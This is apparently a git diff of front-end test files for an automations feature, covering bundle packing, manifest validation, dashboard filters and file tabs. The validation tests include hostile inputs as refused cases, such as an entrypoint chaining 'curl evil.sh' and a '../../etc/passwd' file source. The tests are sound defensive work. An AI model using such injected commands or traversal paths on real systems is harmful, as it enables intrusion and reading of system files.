and the entry decides the endpoint. + const [body, entry] = vi.mocked(AutomationService.createAutomationDraft) + .mock.calls[0]; + expect(body.tarball_path).toBe("oh-internal://uploads/abc"); + expect(entry).toBe(ENTRY); + }); + + it("reuses the archive it already uploaded when a create is retried", async () => { + // Arrange — the service rejects the draft, the user corrects nothing and + // confirms again. The upload cannot be taken back, so a second one would + // leave the first behind for good. + vi.mocked(AutomationService.createAutomationDraft) + .mockRejectedValueOnce(new Error("Schedule is too frequent")) + .mockResolvedValueOnce({ id: "automation-1" }); + const { result } = renderHook(() => useSetupAction()); + + // Act + await expect(result.current(ENTRY, VALUES, PAYLOAD)).rejects.toThrow(); + await result.current(ENTRY, VALUES, PAYLOAD); + + // Assert + expect(AutomationService.uploadAutomationTarball).toHaveBeenCalledTimes(1); + expect(AutomationService.createAutomationDraft).toHaveBeenCalledTimes(2); + }); + + it("packs and uploads again once an answer changes", async () => { + // Arrange + vi.mocked(AutomationService.createAutomationDraft).mockResolvedValue({ + id: "automation-1", + }); + const { result } = renderHook(() => useSetupAction()); + + // Act + await result.current(ENTRY, VALUES, PAYLOAD); + await result.current(ENTRY, { ...VALUES, widgetName: "Gadgets" }, PAYLOAD); + + // Assert — the archive carries the answers, so a different answer is a + // different archive. + expect(AutomationService.uploadAutomationTarball).toHaveBeenCalledTimes(2); + }); +}); diff --git a/__tests__/manifests/manifest-bundle.test.ts b/__tests__/manifests/manifest-bundle.test.ts new file mode 100644 index 000000000000..970d8e01187f --- /dev/null +++ b/__tests__/manifests/manifest-bundle.test.ts @@ -0,0 +1,177 @@ +import { gunzipSync } from "node:zlib"; +import { describe, expect, it, vi } from "vitest"; + +const BUNDLE_FILES: Record> = { + "widget-monitor": { "main.py": "print('watching')\n" }, +}; + +vi.mock("@openhands/extensions/automations", () => ({ + AUTOMATION_CATALOG: [], + getAutomationBundleFiles: (id: string) => BUNDLE_FILES[id], +})); + +const { packBundle, getBundleFiles } = + await import("#/manifests/manifest-bundle"); +const { createSetupEntry, createSetup } = await import("./manifest-test-data"); + +const decoder = new TextDecoder(); + +interface ArchiveMember { + content: string; + mode: number; +} + +/** Every member of a packed bundle, keyed by name. */ +function readMembers(archive: Uint8Array): Record { + const tar = new Uint8Array(gunzipSync(archive)); + const members: Record = {}; + const field = (block: Uint8Array, offset: number, size: number) => + decoder.decode(block.subarray(offset, offset + size)).replace(/\0.*$/, ""); + + let offset = 0; + while (offset + 512 <= tar.length) { + const header = tar.subarray(offset, offset + 512); + if (header.every((byte) => byte === 0)) break; + const size = parseInt(field(header, 124, 12).trim() || "0", 8); + members[field(header, 0, 100)] = { + content: decoder.decode(tar.subarray(offset + 512, offset + 512 + size)), + mode: parseInt(field(header, 100, 8).trim() || "0", 8), + }; + offset += 512 + Math.ceil(size / 512) * 512; + } + return members; +} + +/** The members' contents alone, for the cases that do not read modes. */ +function readArchive(archive: Uint8Array): Record { + return Object.fromEntries( + Object.entries(readMembers(archive)).map(([name, member]) => [ + name, + member.content, + ]), + ); +} + +function bundleEntry(overrides = {}) { + return createSetupEntry({ + setup: createSetup({ + prompt: undefined, + bundle: { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { + repos: ["{{form.repository}}"], + max_per_run: 3, + dry_run: false, + }, + ...overrides, + }, + }), + }); +} + +const VALUES = { repository: "OpenHands/automation", schedule: "*/15 * * * *" }; + +describe("packBundle", () => { + it("packs the entry's files with the config the form rendered", async () => { + // Act + const archive = await packBundle(bundleEntry(), VALUES); + + // Assert + const contents = readArchive(archive); + expect(contents["main.py"]).toBe("print('watching')\n"); + expect(JSON.parse(contents["config.json"])).toEqual({ + repos: ["OpenHands/automation"], + max_per_run: 3, + dry_run: false, + }); + }); + + it("packs the same config the create request records as provenance", async () => { + // Arrange: the tarball and the template config disagreeing would leave the + // stored provenance describing a run that never happened. + const entry = bundleEntry(); + const { buildCreatePayload } = await import("#/manifests/automation-setup"); + + // Act + const contents = readArchive(await packBundle(entry, VALUES)); + const payload = buildCreatePayload(entry, VALUES); + + // Assert + expect(JSON.parse(contents["config.json"])).toEqual( + (payload?.template as { config: unknown }).config, + ); + }); + + it("keeps a multi-value answer a list where the config states one value", async () => { + // Arrange + const entry = bundleEntry({ config: { repos: "{{form.repository}}" } }); + + // Act + const contents = readArchive( + await packBundle(entry, { + ...VALUES, + repository: ["OpenHands/automation", "OpenHands/extensions"], + }), + ); + + // Assert + expect(JSON.parse(contents["config.json"])).toEqual({ + repos: ["OpenHands/automation", "OpenHands/extensions"], + }); + }); + + it("renders a placeholder naming something that is not a value as text", async () => { + // Arrange: a manifest naming its own setup block would otherwise put that + // whole object into the config it ships and the provenance it records. + const entry = bundleEntry({ config: { leak: "{{automation.setup}}" } }); + + // Act + const contents = readArchive(await packBundle(entry, VALUES)); + + // Assert + expect(JSON.parse(contents["config.json"])).toEqual({ leak: "" }); + }); + + it("packs a file the entrypoint runs itself as executable", async () => { + // Arrange + const entry = bundleEntry({ entrypoint: "./main.py" }); + + // Act + const members = readMembers(await packBundle(entry, VALUES)); + + // Assert + expect(members["main.py"].mode).toBe(0o755); + }); + + it("packs a file the entrypoint only passes to an interpreter as data", async () => { + // Act + const members = readMembers(await packBundle(bundleEntry(), VALUES)); + + // Assert: `python3 main.py` runs python3, not main.py. + expect(members["main.py"].mode).toBe(0o644); + }); + + it("reports an entry the published package ships no files for", () => { + // Act + Assert + expect(() => getBundleFiles("not-published")).toThrow( + /ships no bundle files/, + ); + }); + + it("reports a declared file the published package is missing", async () => { + // Arrange + const entry = bundleEntry({ + files: { + "main.py": "skills/widget-monitor/scripts/main.py", + "setup.sh": "automations/catalog/widget-monitor/setup.sh", + }, + }); + + // Act + Assert + await expect(packBundle(entry, VALUES)).rejects.toThrow( + /missing bundle files.*setup\.sh/, + ); + }); +}); diff --git a/__tests__/manifests/manifest-error-map.test.ts b/__tests__/manifests/manifest-error-map.test.ts index 64f9295cdd58..8e497b93492e 100644 --- a/__tests__/manifests/manifest-error-map.test.ts +++ b/__tests__/manifests/manifest-error-map.test.ts @@ -105,6 +105,23 @@ describe("mapServiceErrors", () => { }); }); + it("highlights the field behind a list entry the map has no index for", () => { + // Arrange: the map is derived from a payload holding one repository, so a + // rejection of the third one addresses a path that was never in it. + + // Act + const { fieldErrors, formErrors } = mapServiceErrors( + [{ path: "repos[2].ref", message: "Unknown branch." }], + ERROR_MAP, + ); + + // Assert + expect({ fieldErrors, formErrors }).toEqual({ + fieldErrors: { ref: "Unknown branch." }, + formErrors: [], + }); + }); + it("surfaces an unmappable rejection against the form rather than losing it", () => { // Act const { fieldErrors, formErrors } = mapServiceErrors( diff --git a/__tests__/manifests/manifest-validation.test.ts b/__tests__/manifests/manifest-validation.test.ts index e5ea1d902608..70a731c549d4 100644 --- a/__tests__/manifests/manifest-validation.test.ts +++ b/__tests__/manifests/manifest-validation.test.ts @@ -1,15 +1,29 @@ import { describe, expect, it } from "vitest"; import { validateSetupEntry } from "#/manifests/manifest-validation"; +import type { SetupForm } from "#/manifests/types"; import { createSetup, createSetupEntry, createSetupEntryWith, } from "./manifest-test-data"; +/** + * The published form with one field's declaration replaced wholesale, so a + * case can state a key the host's own types do not admit. Admission is a trust + * boundary over data from another repository, and that data is not typed. + */ +function formWithField( + name: string, + field: Record, +): SetupForm { + const { form } = createSetup(); + return { ...form, args: { ...form.args, [name]: field } } as SetupForm; +} + describe("validateSetupEntry", () => { it("admits a well-formed manifest", () => { // Arrange - const entry = createSetupEntry(); + const entry = createSetupEntry({ version: "1.0.0" }); // Act const result = validateSetupEntry(entry); @@ -34,6 +48,23 @@ describe("validateSetupEntry", () => { expect(result).toEqual({ valid: true, errors: [] }); }); + // A catalog may publish an entry ahead of its stable release. The version is + // forwarded as provenance, not compared, so a pre-release or build suffix is + // a version this host admits rather than a reason to drop the entry. + it.each(["1.0.0-beta.1", "1.0.0+build.5", "2.1.0-rc.1+build.5"])( + "admits the template version %s", + (version) => { + // Arrange + const entry = createSetupEntry({ version }); + + // Act + const result = validateSetupEntry(entry); + + // Assert + expect(result).toEqual({ valid: true, errors: [] }); + }, + ); + // Each case is a separate invariant the host enforces on data authored in // another repository. A manifest that trips any of them must not render. it.each([ @@ -55,6 +86,18 @@ describe("validateSetupEntry", () => { "markup inside a direct entry's fallback message", { setup: createSetup({ message: "" }) }, ], + [ + // A direct entry may seed a fallback conversation, but the message stays + // setup context only, so the cap still refuses a runaway one. + "a fallback message that exceeds the setup-context cap", + { setup: createSetup({ message: "x".repeat(2001) }) }, + ], + [ + // The version is sent to the service as template provenance, so a + // malformed one is refused rather than forwarded. + "a template version that is not semver", + { version: "v1" }, + ], [ // The host reads one trigger kind to build the request, so a second one // would be silently dropped rather than refused. @@ -165,6 +208,207 @@ describe("validateSetupEntry", () => { expect(result.valid).toBe(false); }); + const bundle = { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { repos: ["{{form.repository}}"] }, + }; + + it("admits a direct entry that ships a bundle instead of a prompt", () => { + // Arrange + const entry = createSetupEntry({ + setup: createSetup({ prompt: undefined, bundle }), + }); + + // Act + const result = validateSetupEntry(entry); + + // Assert + expect(result).toEqual({ valid: true, errors: [] }); + }); + + // A bundle is the one part of a manifest naming files and a command this + // host acts on, so each of these would be acted on if it were admitted. + it.each([ + [ + "a direct entry declaring both a prompt and a bundle", + { setup: createSetup({ bundle }) }, + ], + [ + "a direct entry declaring neither", + { setup: createSetup({ prompt: undefined }) }, + ], + [ + "an assisted entry carrying a bundle", + { + setup: createSetup({ + mode: "assisted" as const, + prompt: undefined, + form: { args: createSetup().form.args }, + message: "Set this up in a conversation.", + bundle, + }), + }, + ], + [ + "an entrypoint carrying a shell metacharacter", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: "python3 main.py && curl evil.sh" }, + }), + }, + ], + [ + "a packed path that escapes the archive", + { + setup: createSetup({ + prompt: undefined, + bundle: { + ...bundle, + files: { "../main.py": "skills/widget-monitor/scripts/main.py" }, + }, + }), + }, + ], + [ + "a source outside skills/ and automations/", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, files: { "main.py": "../../etc/passwd" } }, + }), + }, + ], + [ + "a config placeholder in an unknown namespace", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, config: { token: "{{secrets.github}}" } }, + }), + }, + ], + [ + "a bundle version that is not a semantic version", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, version: "latest" }, + }), + }, + ], + [ + "an entrypoint that climbs out of the archive", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: "python3 ../../etc/x.py" }, + }), + }, + ], + [ + "an entrypoint naming an absolute path", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: "/bin/sh setup.sh" }, + }), + }, + ], + [ + "an entrypoint of nothing but spaces", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: " " }, + }), + }, + ], + [ + "a packed path claiming the rendered config's own name", + { + setup: createSetup({ + prompt: undefined, + bundle: { + ...bundle, + files: { + ...bundle.files, + "config.json": "skills/widget-monitor/scripts/config.json", + }, + }, + }), + }, + ], + [ + "a setup script the bundle does not pack", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, setupScript: "not-packed.sh" }, + }), + }, + ], + [ + "a multi-value declaration on a field that is not a repository picker", + { + setup: createSetup({ + form: formWithField("widgetName", { + type: "text", + label: "Widget name", + help: "What to call it.", + required: true, + multiple: true, + }), + }), + }, + ], + [ + "a multi-value declaration that is not true", + { + setup: createSetup({ + form: formWithField("repository", { + type: "repo-picker", + label: "Repository", + help: "Which repositories to watch.", + provider: "github", + required: true, + multiple: "banana", + }), + }), + }, + ], + ])("refuses %s", (_case, overrides) => { + // Act + const result = validateSetupEntry(createSetupEntry(overrides)); + + // Assert + expect(result.valid).toBe(false); + }); + + it("admits a repository field that collects several repositories", () => { + // Arrange + const entry = createSetupEntry({ + setup: createSetup({ + form: formWithField("repository", { + type: "repo-picker", + label: "Repositories", + help: "Which repositories to watch.", + provider: "github", + required: true, + multiple: true, + }), + }), + }); + + // Act + const result = validateSetupEntry(entry); + + // Assert + expect(result).toEqual({ valid: true, errors: [] }); + }); + it("reports every problem at once so an author sees the whole picture", () => { // Arrange const candidate = createSetupEntryWith({ name: "", description: "" }); diff --git a/__tests__/router.md b/__tests__/router.md index 4214543c9243..b44490d0cf1c 100644 --- a/__tests__/router.md +++ b/__tests__/router.md @@ -218,7 +218,7 @@ expect(screen.getByTestId("settings-screen")).toBeInTheDocument(); ### Codebase Examples - [settings.test.tsx](routes/settings.test.tsx) - `createRoutesStub` with nested routes and loaders -- [home-screen.test.tsx](routes/home-screen.test.tsx) - `createRoutesStub` with navigation testing +- [root-layout.test.tsx](routes/root-layout.test.tsx) - `createRoutesStub` with `initialEntries` navigation - [chat-interface.test.tsx](components/chat/chat-interface.test.tsx) - `MemoryRouter` usage ### Official Documentation diff --git a/__tests__/routes/automations-dashboard.test.tsx b/__tests__/routes/automations-dashboard.test.tsx index 8b42a7e877e0..7f05657c7726 100644 --- a/__tests__/routes/automations-dashboard.test.tsx +++ b/__tests__/routes/automations-dashboard.test.tsx @@ -107,11 +107,10 @@ function renderAt(path: string, page: React.ReactElement) { async function renderDashboardWithSettledInsights() { renderAt("/automations", ); await screen.findByTestId("automation-card-a-ok"); - // The broken automation's badge carries the manifest's failing caption once - // its runs summary settles. + // Insights have settled once the failed run's status is on the card. await within( await screen.findByTestId("automation-card-a-broken"), - ).findByText("Broken"); + ).findByTestId("run-status-icon-failed"); } beforeEach(() => { @@ -154,9 +153,11 @@ describe("AutomationsList — manifest-declared dashboard", () => { await renderDashboardWithSettledInsights(); // Assert — navigation, tiles, and controls all carry manifest captions; - // the catalog launcher has moved off this page. + // the full catalog stays on Templates, and the compact rail is empty-state only. const nav = screen.getByTestId("automations-navbar-desktop"); const automationsTile = screen.getByTestId("overview-tile-automations"); + const filters = screen.getByTestId("automations-filters"); + await userEvent.click(within(filters).getByTestId("dropdown-trigger")); expect({ navLabels: [ within(nav).getByText("Widget dashboard"), @@ -167,11 +168,15 @@ describe("AutomationsList — manifest-declared dashboard", () => { statusFilter: screen.getByLabelText("Filter widgets by state"), sortControl: screen.getByLabelText("Order widgets"), statsCaptions: screen.getAllByText("Widget wins").length, + activity: screen.getAllByTestId(/^automation-activity-/).length, launcher: screen.queryByTestId("recommended-automations-section"), + rail: screen.queryByTestId("recommended-automations-rail"), }).toMatchObject({ navLabels: 2, statsCaptions: 2, + activity: 2, launcher: null, + rail: null, }); }); @@ -188,12 +193,100 @@ describe("AutomationsList — manifest-declared dashboard", () => { ]); }); + it("nests status, trigger, and sort dropdowns inside one Filters control", async () => { + // Arrange + const user = userEvent.setup(); + await renderDashboardWithSettledInsights(); + + // Assert — the three filters stay inside the combined menu until opened. + expect(screen.queryByTestId("automations-filter-status")).toBeNull(); + expect(screen.queryByTestId("automations-filter-trigger")).toBeNull(); + expect(screen.queryByTestId("automations-sort")).toBeNull(); + + // Act + await user.click( + within(screen.getByTestId("automations-filters")).getByTestId( + "dropdown-trigger", + ), + ); + + // Assert + expect( + within(screen.getByTestId("automations-filters-menu")).getByTestId( + "automations-filter-status", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByTestId( + "automations-filter-trigger", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByTestId( + "automations-sort", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByText( + "Filter widgets by state", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByText( + "Filter widgets by trigger", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByText( + "Order widgets", + ), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("automations-filters-reset"), + ).not.toBeInTheDocument(); + }); + + it("resets applied filters from the Filters menu", async () => { + // Arrange + const user = userEvent.setup(); + await renderDashboardWithSettledInsights(); + await user.click( + within(screen.getByTestId("automations-filters")).getByTestId( + "dropdown-trigger", + ), + ); + await user.click( + within(screen.getByTestId("automations-filter-status")).getByTestId( + "dropdown-trigger", + ), + ); + await user.click(screen.getByTestId("automations-filter-status-failing")); + await waitFor(() => { + expect(screen.queryByTestId("automation-card-a-ok")).toBeNull(); + }); + + // Act + await user.click(screen.getByTestId("automations-filters-reset")); + + // Assert + await screen.findByTestId("automation-card-a-ok"); + expect(screen.getByTestId("automation-card-a-broken")).toBeInTheDocument(); + expect( + screen.queryByTestId("automations-filters-reset"), + ).not.toBeInTheDocument(); + }); + it("narrows to latest-run failures through the status filter", async () => { // Arrange const user = userEvent.setup(); await renderDashboardWithSettledInsights(); - // Act — pick the manifest's "failing" option. + // Act — open Filters, then pick the manifest's "failing" option. + await user.click( + within(screen.getByTestId("automations-filters")).getByTestId( + "dropdown-trigger", + ), + ); await user.click( within(screen.getByTestId("automations-filter-status")).getByTestId( "dropdown-trigger", diff --git a/__tests__/routes/automations-list.test.tsx b/__tests__/routes/automations-list.test.tsx index 90e9cc003a12..99293ac506d7 100644 --- a/__tests__/routes/automations-list.test.tsx +++ b/__tests__/routes/automations-list.test.tsx @@ -1,6 +1,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; +import { render, screen, waitFor, within } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { MemoryRouter } from "react-router"; @@ -22,6 +22,7 @@ import { type Automation, type AutomationsResponse, } from "#/types/automation"; +import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section"; vi.mock("#/api/automation-service/automation-service.api", () => ({ default: { @@ -161,7 +162,7 @@ describe("AutomationsList — Edit from the row kebab is local-only", () => { }); describe("AutomationsList — view mode toggle", () => { - it("switches saved automations from cards to table rows", async () => { + it("switches saved automations from cards to list rows", async () => { const user = userEvent.setup(); renderList(); await waitFor(() => { @@ -205,6 +206,24 @@ describe("AutomationsList — view mode toggle", () => { screen.queryByTestId("automations-view-toggle-list"), ).not.toBeInTheDocument(); }); + + it("keeps the recommended rail inside the empty state instead of above it", async () => { + vi.mocked(AutomationService.getAutomations).mockResolvedValue({ + automations: [], + total: 0, + }); + renderList(); + + const empty = await screen.findByTestId("automations-empty"); + const rail = await within(empty).findByTestId( + "recommended-automations-rail", + ); + expect(rail).toBeInTheDocument(); + expect(rail).not.toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS); + expect(screen.getAllByTestId("recommended-automations-rail")).toHaveLength( + 1, + ); + }); }); describe("AutomationsList — Run now toasts", () => { @@ -340,6 +359,49 @@ describe("AutomationsList — Run now toasts", () => { }); }); +describe("AutomationsList — add automation menu", () => { + it("opens create and import from the Add Automation dropdown", async () => { + const user = userEvent.setup(); + renderList(); + await screen.findByText(automation.name); + + const addTrigger = screen.getByTestId("automations-add-automation"); + expect(addTrigger).toHaveClass("bg-base-secondary"); + expect( + screen.queryByTestId("automations-import-automation"), + ).not.toBeInTheDocument(); + + await user.click(addTrigger); + expect(screen.getByTestId("automations-add-automation-menu")).not.toHaveClass( + "mt-2", + ); + expect( + screen.getByTestId("automations-import-automation"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("automations-add-automation-create")); + expect(screen.getByTestId("add-automation-modal")).toBeInTheDocument(); + }); + + it("opens the import picker from the Add Automation menu", async () => { + const user = userEvent.setup(); + renderList(); + await screen.findByText(automation.name); + + await user.click(screen.getByTestId("automations-add-automation")); + await user.click(screen.getByTestId("automations-import-automation")); + + const modal = screen.getByTestId("import-automation-modal"); + expect(modal).toHaveAttribute("data-view", "picker"); + expect( + screen.getByTestId("import-automation-dropzone"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("import-automation-choose-file"), + ).toBeInTheDocument(); + }); +}); + describe("AutomationsList — list freshness on remount", () => { it("surfaces automations created since the last visit without a manual refresh", async () => { // Arrange — share a QueryClient across two mounts to simulate the user diff --git a/__tests__/routes/automations-subpages-absent.test.tsx b/__tests__/routes/automations-subpages-absent.test.tsx index 30fb0cd58a85..245b0e994f10 100644 --- a/__tests__/routes/automations-subpages-absent.test.tsx +++ b/__tests__/routes/automations-subpages-absent.test.tsx @@ -105,7 +105,7 @@ describe("an interface manifest that declares no sub-page surface", () => { expect({ nav: screen.queryByTestId("automations-navbar-desktop"), tile: screen.queryByTestId("overview-tile-automations"), - statusFilter: screen.queryByTestId("automations-filter-status"), + statusFilter: screen.queryByTestId("automations-filters"), launcher: await screen.findByTestId("recommended-automations-section"), }).toMatchObject({ nav: null, tile: null, statusFilter: null }); }); diff --git a/__tests__/routes/changes-tab.test.tsx b/__tests__/routes/changes-tab.test.tsx deleted file mode 100644 index 1891ab761eb5..000000000000 --- a/__tests__/routes/changes-tab.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi } from "vitest"; -import { MemoryRouter } from "react-router"; -import { AxiosError } from "axios"; -import GitChanges from "#/routes/changes-tab"; -import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -vi.mock("#/hooks/query/use-unified-get-git-changes"); -vi.mock("#/hooks/use-agent-state"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "test-id" }), - useOptionalConversationId: () => ({ conversationId: "test-id" }), -})); - -const wrapper = ({ children }: { children: React.ReactNode }) => ( - - - {children} - - -); - -describe("Changes Tab", () => { - it("should show EmptyChangesMessage when there are no changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("DIFF_VIEWER$NO_CHANGES")).toBeInTheDocument(); - }); - - it("should not show EmptyChangesMessage when there are changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [{ path: "src/file.ts", status: "M" }], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect( - screen.queryByText("DIFF_VIEWER$NO_CHANGES"), - ).not.toBeInTheDocument(); - }); - - it("should render the Protip alongside the empty state when there are no changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("TIPS$PROTIP")).toBeInTheDocument(); - }); - - it("should hide the Protip when the git changes request errors", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: false, - isError: true, - error: new AxiosError("fatal: not a git repository"), - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.queryByText("TIPS$PROTIP")).not.toBeInTheDocument(); - expect( - screen.getByText("DIFF_VIEWER$NOT_A_GIT_REPO"), - ).toBeInTheDocument(); - }); - - it("should show the loading message while git changes are loading", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: true, - isFetching: true, - isSuccess: false, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("DIFF_VIEWER$LOADING")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/routes/commits-tab.test.tsx b/__tests__/routes/commits-tab.test.tsx index 37872f092f01..683d82197035 100644 --- a/__tests__/routes/commits-tab.test.tsx +++ b/__tests__/routes/commits-tab.test.tsx @@ -55,10 +55,13 @@ describe("Commits Tab", () => { AgentServerGitService, "getCommitChanges", ); + const getGitChangesSpy = vi.spyOn(AgentServerGitService, "getGitChanges"); beforeEach(() => { getGitCommitsSpy.mockReset(); getCommitChangesSpy.mockReset(); + getGitChangesSpy.mockReset(); + getGitChangesSpy.mockResolvedValue([]); vi.mocked(useAgentState).mockReturnValue({ curAgentState: AgentState.RUNNING, }); @@ -112,6 +115,22 @@ describe("Commits Tab", () => { expect(await screen.findByText("add logging")).toBeInTheDocument(); expect(screen.getByText("fix tests")).toBeInTheDocument(); expect(screen.getByText("aaaaaaa")).toBeInTheDocument(); + expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument(); + }); + + it("shows Uncommitted alone when there are working-tree changes but no commits", async () => { + // Arrange + getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false }); + getGitChangesSpy.mockResolvedValue([{ path: "src/a.ts", status: "M" }]); + + // Act + render(, { wrapper }); + + // Assert + expect( + await screen.findByTestId("uncommitted-changes-row"), + ).toBeInTheDocument(); + expect(screen.queryByTestId("commit-row")).not.toBeInTheDocument(); }); it("expanding a commit fetches and lists the files it changed", async () => { diff --git a/__tests__/routes/files-tab.test.tsx b/__tests__/routes/files-tab.test.tsx index c3a7dfc38070..27afdf3f24ed 100644 --- a/__tests__/routes/files-tab.test.tsx +++ b/__tests__/routes/files-tab.test.tsx @@ -1,5 +1,4 @@ -/* eslint-disable react/jsx-props-no-spreading */ -import { render, screen, waitFor, within } from "@testing-library/react"; +import { render, screen, waitFor } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { describe, it, expect, vi, beforeEach } from "vitest"; @@ -8,27 +7,15 @@ import { MemoryRouter } from "react-router"; import FilesTab from "#/routes/files-tab"; import { useFilesTabStore } from "#/stores/files-tab-store"; import { NavigationProvider } from "#/context/navigation-context"; +import { + LOCAL_STORAGE_KEYS, + setConversationState, +} from "#/utils/conversation-local-storage"; // Mocks must be declared before the SUT is imported. -const useHasAttachedSourceMock = vi.fn(); -const useHasGitCommitsMock = vi.fn(); -const useUnifiedGitCommitsMock = vi.fn(); const useWorkspaceFilesMock = vi.fn(); const useWorkspaceFileContentMock = vi.fn(); -const refetchGitChangesMock = vi.fn(); - -vi.mock("#/hooks/use-has-attached-source", () => ({ - useHasAttachedSource: () => useHasAttachedSourceMock(), -})); - -vi.mock("#/hooks/query/use-has-git-commits", () => ({ - useHasGitCommits: (opts?: { enabled?: boolean }) => - useHasGitCommitsMock(opts), -})); - -vi.mock("#/hooks/query/use-unified-git-commits", () => ({ - useUnifiedGitCommits: () => useUnifiedGitCommitsMock(), -})); +const useActiveConversationMock = vi.fn(); vi.mock("#/hooks/query/use-workspace-files", () => ({ useWorkspaceFiles: () => useWorkspaceFilesMock(), @@ -39,19 +26,8 @@ vi.mock("#/hooks/query/use-workspace-file-content", () => ({ useWorkspaceFileContentMock(path), })); -vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({ - useUnifiedGetGitChanges: () => ({ - refetch: refetchGitChangesMock, - isFetching: false, - }), -})); - -vi.mock("#/routes/changes-tab", () => ({ - default: () =>
Diff View
, -})); - -vi.mock("#/routes/commits-tab", () => ({ - default: () =>
Commits View
, +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => useActiveConversationMock(), })); function renderTab(conversationId: string | null = null) { @@ -76,42 +52,22 @@ function renderTab(conversationId: string | null = null) { ); } +function openFile(path: string, conversationId: string | null = null) { + useFilesTabStore.getState().setSelectedPath(path, conversationId); +} + describe("FilesTab", () => { beforeEach(() => { - // `selectedPath` lives in a global Zustand store (useFilesTabStore) and - // the auto-select effect re-fires when the store is reset between tests, - // which can race with the Zustand mock's afterEach reset and leave the - // store polluted with the previous test's path. Resetting here, after - // the previous test's cleanup() has unmounted any FilesTab, defeats - // that race so each test starts with a clean selection. useFilesTabStore.setState({ selectedPath: null, selectedConversationId: null, + openPaths: [], }); + localStorage.clear(); - useHasAttachedSourceMock.mockReset(); - useHasGitCommitsMock.mockReset(); - useUnifiedGitCommitsMock.mockReset(); useWorkspaceFilesMock.mockReset(); useWorkspaceFileContentMock.mockReset(); - refetchGitChangesMock.mockReset(); - // Default: pretend the probe has already resolved with at least one - // commit. Individual tests can override this for "empty repo" cases. - useHasGitCommitsMock.mockReturnValue({ - hasCommits: true, - isLoading: false, - }); - // Default: the agent server supports the commits API (the third toggle - // segment is offered) but the conversation has no commits yet. - useUnifiedGitCommitsMock.mockReturnValue({ - commits: [], - hasMore: false, - isUnsupported: false, - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - }); + useActiveConversationMock.mockReset(); useWorkspaceFilesMock.mockReturnValue({ data: ["index.html", "src/main.ts", "README.md"], @@ -129,132 +85,87 @@ describe("FilesTab", () => { isLoading: false, isError: false, }); - }); - - it("defaults to diff view when the user attached a source (repo or workspace)", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, + useActiveConversationMock.mockReturnValue({ + data: { + workspace: { working_dir: "/workspace/project" }, + }, }); + }); + it("renders the file browser without a Diff/Commits toggle", () => { renderTab(); - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); - 